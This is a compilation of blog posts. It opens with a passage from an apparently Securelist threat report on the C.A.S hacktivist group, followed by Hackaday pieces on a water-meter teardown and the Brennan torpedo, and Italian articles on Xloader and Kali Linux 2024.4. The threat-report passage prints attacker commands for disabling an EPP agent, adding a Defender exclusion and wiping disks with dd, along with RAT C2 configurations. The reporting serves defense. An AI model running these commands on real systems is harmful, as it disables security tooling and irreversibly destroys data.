Start-Process -NoNewWindow -FilePath cmd -ArgumentList "/c $msiexecCommand2"
}
The final command to disable the EPP agent was this:
cmd.exe /c msiexec.exe /x {GUID} /quiet
Also, as part of the Defense Evasion technique, the attackers use Revenge RAT to add the $windir\$system32 directory to the Windows Defender exclusion list. This allows the group to hide its activity, because the RAT itself and its malicious payload are both installed in this folder.
"\"$windir\\$system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -WindowStyle Hidden -
Command \"Add-MpPreference -ExclusionPath '$windir\\$system32'\""
And to further reduce the likelihood of detection, the attackers use a malware naming convention that mimics legitimate Windows processes:
C:\Windows\System32\svxhost.exe
C:\Windows\System32\svrhost.exe
C:\Windows\System32\drivers\etc\rpchost.exe
C:\Windows\panther\ssbyt.exe

Credential Access

In our study of hacktivist groups (Twelve, BlackJack, Head Mare, Crypt Ghouls and others), we often encountered the use of the same credential extraction tools, namely XenAllPasswordPro, BrowserThief and Mimikatz. These tools have long been known in the community and regularly feature in our crimeware reports.

• XenAllPasswordPro extracts passwords from system storages.
• BrowserThief compromises browser data, including autofill data and saved accounts.
• Mimikatz extracts password hashes from Windows RAM.

C.A.S is no exception: we found these tools in their attacks as well. This is yet further proof that hacktivist groups attacking Russia and Belarus tend to deploy the same arsenal of publicly available utilities.

Discovery

At the infrastructure exploration stage, the attackers made active use of various commands to collect information. Here’s a list of the commands we logged:

The Revenge RAT samples also ran WMI queries to collect information about the operating system and CPU to be sent to the attackers’ command-and-control (C2) server:
SELECT * FROM Win32_OperatingSystem
SELECT UserName FROM Win32_ComputerSystem
SELECT * FROM WIN32_Processor

Command and Control

To communicate with the C2 server, C.A.S uses various tools. We saw the use of reverse shells generated by the msfvenom tool for the Metasploit framework, as well as publicly available RATs.

Revenge RAT

The attackers first used Revenge RAT to establish a connection to the C2 server, then downloaded and installed the necessary payloads of various frameworks; they also collected data about the infected host and sent it to the server.

We found two similar customized samples of Revenge RAT in the attacks we investigated. Below is a full list of functions found in these variants:

The configuration files for these samples are also similar:

Spark RAT

As mentioned above, the group used another remote access Trojan called Spark RAT. Below is its configuration:
{
  "secure":false,
  "host":"185.117.75.3",
  "port":9610,
  "path":"/",
  "uuid":"3917b41****",
  "key":"aa494c90****"
}
From the IP address specified in the configuration, the attackers downloaded the Meterpreter payload to the victim’s device.

Alongside this, Spark RAT automatically collects and sends the following system information to the C2 server:

Spark RAT provides the operator with a wide range of commands to control the target device. These commands allow both basic operations (such as PING to check client availability, SHUTDOWN to turn off the device, and RESTART to reboot it) as well as more complex ones, such as remote file management (FILES_LIST, FILES_FETCH, FILES_UPLOAD), terminal interaction (TERMINAL_INIT, TERMINAL_INPUT, TERMINAL_RESIZE) and remote desktop access (DESKTOP_INIT, DESKTOP_SHOT). Also available to the operator are commands to manage processes (PROCESSES_LIST, PROCESS_KILL) and execute system commands (COMMAND_EXEC).

Meterpreter

In one of the incidents, we found a Meterpreter reverse shell (6CBC93B041165D59EA5DED0C5F377171). Using this, the group was able to gain full access to the compromised system and do the following:

1. Remotely manage the file system;
2. Intercept network traffic;
3. Log keystrokes;
4. Extract password hashes;
5. Perform pivoting techniques through compromised hosts;
6. Monitor the webcam and microphone.

The reverse shell contains the following C2 server address and port:
185.117.75[.]35:4444

Impact

To cause damage to victims, the group encrypts their infrastructure. As we’ve noted before in similar hacktivist attacks, the threat actors’ arsenal consists of leaked LockBit ransomware builders for Windows systems and Babuk for Linux systems. In the majority of C.A.S attacks, encrypted file extensions are generated randomly; but sometimes the number 3119 appears both in the name of the executable file of the ransomware Trojan, and in the extensions added to encrypted files. This number often crops up in C.A.S activity — we see it in usernames, ransom notes, encrypted file extensions and group-related merchandise. It is not a random sequence of digits, but represents the positions of the letters C, A, and S in the alphabet: C is 3, A is 1 and S is 19.

One of the group’s ransomware samples is named 3119.exe. In our investigation of a C.A.S attack involving this sample, we found a ransom note displayed after file encryption in the system:

C.A.S ransom note

Besides encryption, the attackers can destroy data in different segments of the victim’s network or on specific servers. To do this, they first collect information about attached drives using the df system utility:
df -h
Then, to destroy the data, they use the dd system utility, which executes /dev/zero — a file that generates an endless stream of null bytes. The attackers copy null bytes from /dev/zero to the /dev/[VOLUME] partition of their choice in 4 MB blocks. This overwrites the data in the partition with zeros, wiping it forever.
dd if=/dev/zero of=/dev/[VOLUME] bs=4M
This operation allows the attackers to irreversibly destroy data on the victim’s servers.

On Telegram, the perpetrators often confirm their destructive impact on victims’ infrastructure. In their posts, they describe what they did and attach screenshots with the results of their operations. Which part of the infrastructure to encrypt and which to destroy immediately is the attackers’ choice: it depends on the situation.

Public chat message from C.A.S

Translation:
Context: these servers have been down for 3 days, one was erased (namely the volumes with data), the second was encrypted (only the directories with data). Today they were wiped to the root.

Victims

C.A.S targets companies from Russia and Belarus in various industries, including government and commercial organizations, entertainment and technology firms, telecommunications companies and industrial enterprises. This suggests that victims are chosen based on their location, regardless of their field of activity.

The group often writes about its victims on Telegram, posting screenshots of infrastructure, stolen documents and links to cloud storages or forums offering stolen data for download.

Connections to other groups

As mentioned above, besides its Telegram channel, C.A.S hosts a public chat where group members and followers actively communicate. Interestingly, the chat administrators belong not only to C.A.S, but to related groups; one of them, who goes by the name of Sean Townsend, is an administrator of the hacktivist group RUH8 and the press secretary of the Ukrainian Cyber Alliance (U.C.A).

C.A.S Discussions chat administrators and the Telegram account of the C.A.S leader The Way

In its Telegram channel, C.A.S states that it sometimes works with other groups that share its mission to attack organizations from Russia and Belarus. For example, we found posts about joint attacks by C.A.S with U.C.A, RUH8, RM-RF and others:

Message about a joint attack by C.A.S and U.C.A

Message about a joint attack by C.A.S, RUH8 and RM-RF

Translation:
Thanks to colleagues who helped with the last attack

While investigating an incident in the infrastructure of one C.A.S victim, we also found traces of compromise pointing to the DARKSTAR group (also known by the names Shadow and Comet). In one incident, we discovered the following files:

These findings are further evidence of a connection between groups targeting Russian organizations. As part of their collaboration, group members likely share access to victims’ infrastructure, C2 infrastructure and tools. They also exchange information about attacks on Telegram as a way to increase campaign visibility, discredit victims and inflict reputational damage.

Takeaways

The C.A.S group poses a serious threat to organizations in Russia and Belarus. The threat actors attack key industries using an array of tools and techniques that we have observed in the campaigns of other hacktivist groups. C.A.S attacks utilize rare RATs, publicly available remote management tools, and a range of vulnerability exploitation methods. In addition, the group spreads information about its attacks through a public Telegram channel, which causes both financial and reputational damage to victims. A more detailed analysis of C.A.S attacks is available to our Threat Intelligence subscribers.

The group openly confirms that it actively collaborates with other attackers targeting Russia. Joint actions and use of a common infrastructure point to the emergence of a sophisticated attack ecosystem, in which hacktivist groups share resources, tools and access to improve efficiency and scale operations. This strategy not only complicates attribution, but significantly increases the destructive potential of attacks.

To effectively counter such groups, it is vital to harden system defenses, apply regular updates to cybersecurity tools and leverage data analytics for monitoring relevant threat activity. It is also critically important to follow best practices when configuring your information security systems. We strongly recommend the following guides:

• Configuring protection for managed applications;
• Hardening Guide.

Following these instructions will minimize the risks of compromise and increase your system’s resistance to possible attacks.

Indicators of compromise

Revenge RAT

Spark RAT

Meterpreter

File path
C:\windows\System32\svxhost.exe
C:\Windows\system32\svrhost.exe
C:\Windows\System32\drivers\etc\rpchost.exe
C:\Windows\panther\ssbyt.exe
C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.exe

IPs
194.36.188[.]94
185.117.75[.]3

securelist.com/cyber-anarchy-s…

The itch to investigate lurks within all us hackers. Sometimes, you just have to pull something apart to learn how it works. [Stephen Crosby] found himself doing just that when he got his hands on a Flume water monitor.

[Stephen] came by the monitor thanks to a city rebate, which lowered the cost of the Flume device. It consists of two main components: a sensor which is strapped to the water meter, and a separate “bridge” device that receives information from the sensor and delivers it to Flume servers via WiFi. There’s a useful API for customers, and it’s even able to integrate with a Home Assistant plugin. [Stephen] hoped to learn more about the device so he could scrape raw data himself, without having to rely on Flume’s servers.

Through his reverse engineering efforts, [Stephen] was able to glean how the system worked. He guides us through the basic components of the battery-powered magnetometer sensor, which senses the motion of metering components in the water meter. He also explains how it communicates with a packet radio module to the main “bridge” device, and elucidates how he came to decompile the bridge’s software.

When he sent this one in, [Stephen] mentioned the considerable effort that went into reverse engineering the system was “a very poor use” of his time — but we’d beg to differ. In our book, taking on a new project is always worthwhile if you learned something along the way. Meanwhile, if you’ve been pulling apart some weird esoteric commercial device, don’t hesitate to let us know what you found!

hackaday.com/2024/12/18/learni…

Nell’era della digitalizzazione, le minacce informatiche diventano sempre più sofisticate e difficili da rilevare. Recentemente, una campagna di attacco mirata ha sfruttato SharePoint per distribuire Xloader, un malware noto anche come Formbook.

Questo attacco rappresenta un esempio di alto livello di ingegneria del cybercrimine, con tecniche avanzate di evasione e compromissione.

L’attacco dietro SharePoint

Source: sublime.security
Gli attaccanti hanno orchestrato un attacco complesso basato su email ingannevoli che simulavano comunicazioni ufficiali di SharePoint. Un pulsante fittizio “Open Files” indirizzava le vittime a un file .zip dannoso, ospitato su un server esterno. Al suo interno, un file binario denominato document.exe era progettato per eseguire attività malevole.

Il Sublime Threat Research Team ha identificato l’attacco grazie a indicatori sospetti:

• Impersonificazione del marchio Microsoft: Loghi falsi e modelli di SharePoint creati con tecniche di visione artificiale.
• Domini sospetti: I domini del mittente non corrispondevano alle destinazioni dei link.
• Linguaggio manipolatorio: Frasi studiate per rubare credenziali attraverso l’ingegneria sociale.

Grazie al servizio LinkAnalysis, il team ha seguito il percorso dei link, scaricato i file e analizzato ogni elemento. Il binario document.exe si è rivelato essere uno script AutoIT, un linguaggio di scripting legittimo ma spesso abusato dai cybercriminali.

L’analisi ha evidenziato

• Obfuscazione complessa: Shellcode mascherato, con trucchi anti-analisi come GetTickCount e Sleep per sfuggire alle emulazioni.
• Injection avanzato: Lo script si iniettava in processi come svchost.exe e netsh.exe, una caratteristica distintiva dei malware loader.
• Tracce lasciate: Un file denominato “lecheries” nella directory temporanea ha permesso ulteriori indagini sul comportamento del malware.

Strumenti come Ghidra e x32dbg hanno rivelato l’uso di API critiche (CreateProcessW, VirtualAlloc, SetThreadContext), sottolineando la sofisticazione dell’attacco.

La payload finale è stata identificata come Xloader, un infostealer capace di:

• Raccogliere credenziali, screenshot e sequenze di tasti.
• Effettuare injection in più processi, incluso explorer.exe.
• Utilizzare il doppio caricamento di ntdll.dll per aggirare i rilevatori.

L’indagine ha anche collegato l’attacco a TrickGate, un noto packer malware utilizzato per distribuire Xloader. Gli elementi iniziali dello script AutoIT e dello shellcode presentavano tecniche associate a TrickGate, come confermato da precedenti ricerche.

Conclusione

Questa campagna evidenzia la necessità di un monitoraggio costante e di strategie difensive sempre più avanzate per contrastare le minacce informatiche. Le tecniche sofisticate impiegate dai cybercriminali richiedono risposte rapide, preventive e basate su aggiornamenti tempestivi, oltre a una consapevolezza organizzativa elevata.

Proteggersi non è solo una questione tecnica, ma un impegno continuo nell’analisi delle dinamiche di attacco e nella costruzione di infrastrutture digitali resilienti. La capacità di adattarsi a un panorama digitale sempre più complesso è fondamentale per ridurre i rischi e garantire la sicurezza in un contesto interconnesso e in continua evoluzione.

L'articolo Allarme Xloader: Come un Malware Usa SharePoint per Colpire le Aziende proviene da il blog della sicurezza informatica.

La nuova versione di Kali Linux include 14 nuovi strumenti, un supporto migliorato per Raspberry Pi, il passaggio a Python 3.12 per impostazione predefinita e l’interruzione delle immagini per l’architettura i386.

La versione Kali Linux 2024.4 è tradizionalmente aggiornata con nuovi strumenti per gli specialisti della sicurezza informatica. Tra questi:

• bloodyad: framework per l’escalation dei privilegi in Active Directory;
• certi: richiesta di certificati ad ADCS e rilevamento di modelli;
• chainsaw: ricerca di artefatti Windows per analisi forensi digitali;
• findomain: soluzione per il riconoscimento dei domini;
• hexwalk: Analizzatore ed editor esadecimale;
• linkedin2username: genera elenchi di nomi utente per le aziende LinkedIn;
• mssqlpwner: uno strumento per interagire e hackerare server MSSQL;
• openssh-ssh1: client SSH per il protocollo legacy SSH1;
• proximoth: rilevatore di vulnerabilità di attacco al frame di controllo;
• python-pipx: esecuzione di binari Python in ambienti isolati;
• sara: ispettore di sicurezza RouterOS;
• web-cache-vulnerability-scanner: tester per l’avvelenamento della cache web;
• xsrfprobe: strumenti per analizzare e sfruttare le vulnerabilità CSRF;
• zenmap: interfaccia per lo scanner di rete nmap.

Fine del supporto per i386. Con la nuova versione di Kali Linux è stata interrotta la creazione di immagini per l’architettura i386. La decisione è stata presa in relazione al rifiuto di Debian di supportare le build a 32 bit nell’ottobre 2024. Nonostante ciò, i pacchetti i386 rimangono ancora disponibili nel repository e possono essere eseguiti su sistemi x86-64.

Transizione a Python 3.12 e modifiche per pip. Python 3.12 è diventato il nuovo interprete predefinito. L’installazione diretta dei pacchetti utilizzando pip è ora disabilitata per evitare conflitti con il gestore pacchetti apt del sistema. Kali offre invece il comando pipx, che consente di isolare pacchetti di terze parti.

Aggiornamenti OpenSSH e Raspberry Pi. OpenSSH versione 9.8p1 ​​​​in Kali Linux 2024.4 non supporta più le chiavi DSA. Per i sistemi più vecchi con questo tipo di chiave è disponibile il client SSH1, congelato alla versione 7.5. Tuttavia, gli strumenti che non riconoscono ssh1 potrebbero perdere la compatibilità con i sistemi legacy.

Supporto migliorato per Raspberry Pi Imager, che consente di preconfigurare un’immagine Kali per Raspberry Pi. Ora puoi impostare il nome host, le opzioni di accesso, le chiavi SSH, la configurazione Wi-Fi e le impostazioni locali prima di scrivere l’immagine sulla scheda microSD.

Raspberry Pi Imager (Kali.org)

Modifiche sul desktop. L’ambiente GNOME 47 aggiornato offre il supporto per la modifica del colore principale dell’interfaccia. Sono stati aggiunti anche un nuovo dashboard di sistema e un tema di accesso.

Nuova interfaccia di accesso per Kali Linux 2024.4 ( Kali.org )

Come aggiornare a Kali Linux 2024.4.

Per iniziare a utilizzare Kali Linux 2024.4, puoi aggiornare la versione esistente, selezionare una piattaforma o scaricare direttamente le immagini ISO per nuove installazioni e distribuzioni live.

Gli utenti di versioni precedenti possono aggiornare utilizzando i seguenti comandi:
┌──(kali㉿kali)-[~]
└─$ echo "deb http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]

┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]

┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]

┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f
Una volta completato il processo, puoi verificare la versione di Kali Linux con il comando:
┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION_ID="2024.4"
VERSION="2024.4"
VERSION_CODENAME=kali-rolling

┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15)

┌──(kali㉿kali)-[~]
└─$ uname -r
6.11.2-amd64
L’elenco completo delle modifiche è disponibile sul sito ufficiale di Kali.

L'articolo Esce Kali Linux 2024.4! 14 nuovi strumenti e il futuro dell’hacking su Raspberry Pi! proviene da il blog della sicurezza informatica.

The Brennan torpedo, invented in 1877 by Louis Brennan, was one of the first (if not the first) guided torpedoes of a practical design. Amazingly, it had no internal power source but it did have a very clever and counter-intuitive mode of operation: a cable was pulled backward to propel the torpedo forward.

If the idea of sending something forward by pulling a cable backward seems unusual, you’re not alone. How can something go forward faster than it’s being pulled backward? That’s what led [Steve Mould] to examine the whole concept in more detail in a video in a collaboration with [Derek Muller] of Veritasium, who highlights some ways in which the physics can be non-intuitive, just as with a craft that successfully sails downwind faster than the wind.

Pulling the cable out the back of the device turns the propeller thanks to a pulley-type assembly with the prop shaft connected to a drum, as seen in the animation here. The actual Brennan torpedo was somewhat more complex, but the operating principle was the same.

The real thing had two cables coming out the back and drove two counter-rotating props. It could be steered by changing the relative speed at which the two cables were pulled, which caused a rudder to turn and allowed the torpedo to be guided. It really was very clever, and the Brennan torpedo was in service for over a decade before being superseded by designs with internal power systems that could be launched by ship.

The basic concept is explored with the help of a working model in the video embedded below, along with identifying what makes the physics tricky to intuit. If you have a few extra minutes to admire the importance of leveraging mechanical advantage, check it out.

youtube.com/embed/qvtZIdSI1Yk?…

hackaday.com/2024/12/17/pullin…